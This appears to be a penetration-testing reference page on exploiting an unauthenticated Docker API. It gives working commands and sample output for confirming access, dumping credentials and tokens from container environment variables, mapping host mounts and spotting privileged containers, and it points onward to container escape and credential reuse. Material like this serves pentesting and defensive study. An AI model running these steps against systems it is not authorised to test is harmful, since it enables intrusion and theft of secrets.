# Docker API Unauthenticated Access

- **URL:** https://hackindex.io/services/docker-api/vulnerability-discovery/docker-api-unauthenticated-access
- **Path:** Docker API > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/docker-api/vulnerability-discovery.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

Docker API unauthenticated access is a critical misconfiguration: the daemon was started with `-H tcp://0.0.0.0:2375` without enabling TLS or authentication, making the full Docker control plane available to any connecting host. Even when TLS is enabled on port 2376, missing client certificate validation means the TLS port is equally open. This page covers confirming the exposure scope, reading environment variables from running containers, and inspecting container configurations for credentials before moving to active exploitation.

- Confirm No Authentication Required
- Read Environment Variables from Running Containers
- Inspect Container Mounts
- Check for Privileged Containers

## Confirm No Authentication Required

```bash
curl -sk http://$TARGET_IP:2375/info | python3 -m json.tool | grep -iE 'name|os|kernel|containers|swarm'
# "Name": "docker-host-01",
# "OSType": "linux",
# "KernelVersion": "5.15.0-91-generic",
# "Containers": 4,
# "ContainersRunning": 3,
# "Swarm": {"LocalNodeState": "inactive"}
```

The hostname, kernel version, and container count confirm full unauthenticated access to the daemon info endpoint. Swarm inactive means this is a standalone Docker host: no cluster to pivot through.

## Read Environment Variables from Running Containers

Container environment variables routinely contain database credentials, API keys, and service tokens passed at container startup:

```bash
export DOCKER_HOST=tcp://$TARGET_IP:2375
# Get container IDs
docker ps -q
# a1b2c3d4e5f6
# b2c3d4e5f6a7
```

```bash
# Inspect all containers for environment variables
for cid in $(docker ps -q); do
  echo "=== $(docker inspect $cid --format '{{.Name}}') ==="
  docker inspect $cid --format '{{range .Config.Env}}{{println .}}{{end}}' | grep -iE 'password|secret|key|token|db_|mysql|postgres|redis'
done
# === /db ===
# MYSQL_ROOT_PASSWORD=r00tP@ssword!
# MYSQL_DATABASE=webapp
# MYSQL_USER=webapp_user
# MYSQL_PASSWORD=WebAppP@ss!
# === /webapp ===
# DB_PASSWORD=WebAppP@ss!
# SECRET_KEY=django-insecure-abc123
# AWS_ACCESS_KEY_ID=AKIA...
```

Database root password and application credentials from container environment variables are immediately usable: test them against exposed database ports and any other services on the host.

## Inspect Container Mounts

Check what host filesystem paths are mounted into containers: host mounts may give direct access to sensitive files:

```bash
for cid in $(docker ps -q); do
  echo "=== $(docker inspect $cid --format '{{.Name}}') ==="
  docker inspect $cid --format '{{range .Mounts}}{{.Source}} -> {{.Destination}}{{println}}{{end}}'
done
# === /webapp ===
# /var/www/html -> /var/www/html
# /etc/nginx/conf.d -> /etc/nginx/conf.d
# === /db ===
# /var/lib/mysql -> /var/lib/mysql
```

## Check for Privileged Containers

Privileged containers have full host capabilities and are trivially escapable:

```bash
for cid in $(docker ps -q); do
  priv=$(docker inspect $cid --format '{{.HostConfig.Privileged}}')
  name=$(docker inspect $cid --format '{{.Name}}')
  echo "$name: privileged=$priv"
done
# /webapp: privileged=false
# /db: privileged=false
# /monitor: privileged=true
```

A privileged container is the easiest escape path. Move to [container escape](https://hackindex.io/services/docker-api/exploitation/docker-api-container-escape): even without a privileged container, the unauthenticated API itself is the escape path via a new container with a host mount.

## References

- [Docker: Protect the Docker daemon socket](https://docs.docker.com/engine/security/protect-access/) - TLS and authentication configuration for securing the Docker API
